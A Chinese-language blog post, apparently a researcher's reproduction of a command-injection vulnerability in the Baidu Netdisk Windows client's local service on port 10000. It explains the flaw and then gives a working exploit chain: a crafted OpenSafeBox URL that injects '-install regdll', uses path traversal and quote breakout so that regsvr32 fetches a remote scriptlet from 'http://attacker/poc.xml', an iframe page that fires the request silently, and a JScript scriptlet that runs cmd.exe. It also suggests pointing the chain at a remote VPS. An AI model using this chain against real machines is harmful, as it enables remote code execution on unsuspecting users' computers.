百度网盘7.59 Windows客户端命令注入漏洞

影响范围

版本小于等于7.59.5.104

只存在于Windows版本客户端

YunDetectService.exe监听本地10000端口,而且这个是程序是开机自启动的,只要你安装百度网盘就有,无需登录或者其他条件,可以通过命令查看端口情况

CleanShot 2025-09-05 at 21.38.16@2x

10000端口web请求(版本7.50.0.130以前是HTTP,例如我的mac上的百度网盘,以后的版本就是HTTPS)以method传递参数,实现不同的功能

1
https://127.0.0.1:10000/?method=GetVersion

CleanShot 2025-09-05 at 21.35.42@2x

CleanShot 2025-09-05 at 21.36.15@2x

漏洞原理

看了网上大部分的文章,感觉成因还是比较好理解的

漏洞核心成因

  1. 命令行注入漏洞 百度网盘服务 YunDetectService.exe(监听本地10000端口)在处理 OpenSafeBox 接口的 uk 参数时,未进行安全过滤。 uk 参数值直接拼接到 BaiduNetdisk.exe 的启动参数 -userkey 中,导致攻击者可通过注入额外命令操纵程序行为。

  • URL 传递形式:
1
method=OpenSafeBox&uk=xxxx
  • 程序接收形式:
1
-opensafebox -userkey [具体userkey值]

这里可以访问该该参数看看,可以看到参数确实传递过去了

1
https://127.0.0.1:10000/?method=OpenSafeBox&uk=xxxx

CleanShot 2025-09-05 at 23.53.11@2x

其中的method 主要包括:GetVersion,GetPcCode,DownloadShareItems,DownloadSelfOwnItems,OpenSafeBox,install,userkey等,其中,install regdll 功能存在进一步的安全风险。

  1. 危险功能调用(install regdll 注入 -install regdll 命令可触发注册DLL功能,程序会调用系统工具 regsvr32.exe 注册 YunShellExt.dll文件路径通过命令行参数拼接而成,可控:DLL路径通过字符串拼接生成,攻击者通过路径穿越(..\)可指向任意位置(如用户目录)。

攻击者可以通过 路径穿越字符串 ..\ 构造 DLL 的真实路径,例如:

1
..\\..\\..\\..\\..\\..\\..\\..\\Users\\[用户名]\\AppData\\Roaming\\baidu\\BaiduNetdisk

唯一限制:需要提前知道当前系统用户名。

  1. regsvr32.exe 二次注入 注册DLL时,程序直接拼接 regsvr32.exe 的命令行参数且未过滤,允许攻击者 通过双引号截断伪造参数边界(如 "C:\Windows\System32\scrobj.dll")。 注入恶意参数 /i:[远程XML] /u,强制 regsvr32.exe 下载并执行远程恶意脚本(如 http://attacker/poc.xml),XML 中的恶意指令会被执行,从而实现 远程命令注入

漏洞利用链


PoC关键步骤

攻击者通过构造特殊请求实现命令执行:

1
https://127.0.0.1:10000/?method=OpenSafeBox&uk=a -install regdll "C:\\Windows\\System32\\scrobj.dll\" /u /i:http://attacker/poc.xml \"\\..\\..\\..\\Users\\[用户名]\\AppData\\Roaming\\baidu\\BaiduNetdisk
  1. 通过 uk 注入 -install regdll 命令。
  2. 利用路径穿越指向用户目录下的可控位置。
  3. 通过双引号截断将DLL路径替换为 scrobj.dll 并注入参数 /i
  4. regsvr32.exe 加载远程XML脚本执行恶意命令。

漏洞复现

注:看网上说python起的这个http.server是单线程容易出问题,容易卡住,不过我复现很顺利,如果卡住了就换别的开服务的试试

1
python -m http.server

CleanShot 2025-09-05 at 23.36.34@2x

  • poc.html
1
<html> <iframewidth="1px"height="1px"referrerpolicy="no-referrer"src='https://localhost:10000/?method=OpenSafeBox&uk=a -install regdll "C:\\\Windows\\System32\\scrobj.dll\" /u /i:http://127.0.0.1:8000/poc.xml \"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\Test\AppData\Roaming\baidu\BaiduNetdisk'></iframe></html>
  • poc.xml
1
<?xml version="1.0"?><scriptlet><registration progid="poc" classid="{10001111-0000-0000-0000-0000FEEDACDC}"> <script language="JScript">   <![CDATA[    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");   ]]> </script></registration></scriptlet>

然后去访问我们准备的,注意其中的127.0.0.1:8000你可以修改成你的远程vps地址,winter就是当前主机的用户命令,也要进行修改。

1
https://127.0.0.1:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\\Windows\\System32\\scrobj.dll\%22%20/u%20/i:http://127.0.0.1:8000/poc.xml%20\%22\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\winter\AppData\Roaming\baidu\BaiduNetdisk

CleanShot 2025-09-05 at 23.34.47@2x

可以看到成功调用regsvr32.exe去下载poc.xml成功执行

CleanShot 2025-09-05 at 23.47.05@2x

参考

https://mp.weixin.qq.com/s/9ixapjlMLrnqKRB9_W-ypw

https://mrxn.net/news/baidupan-windows-client-rce.html


百度网盘7.59 Windows客户端命令注入漏洞
http://example.com/2025/09/05/百度网盘7.59 Windows客户端命令注入漏洞/
作者
Winter
发布于
2025年9月5日
许可协议